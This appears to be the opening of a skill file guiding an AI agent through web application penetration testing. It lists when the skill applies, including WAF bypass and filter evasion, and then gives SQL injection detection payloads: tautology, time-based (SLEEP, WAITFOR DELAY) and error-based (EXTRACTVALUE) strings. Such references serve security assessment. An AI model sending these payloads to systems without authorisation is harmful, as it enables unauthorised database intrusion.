Web Application Penetration Testing

When to Activate

• Web application security assessment
• API security testing (REST, GraphQL, gRPC)
• Authentication and session management testing
• Business logic vulnerability hunting
• WAF bypass and filter evasion

SQL Injection

Detection

# String context: '  ''  ' OR '1'='1  ' AND '1'='2
# Numeric context: 1 OR 1=1  1 AND 1=2
# Time-based: ' OR SLEEP(5)--  '; WAITFOR DELAY '0:0:5'--
# Error-based: ' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--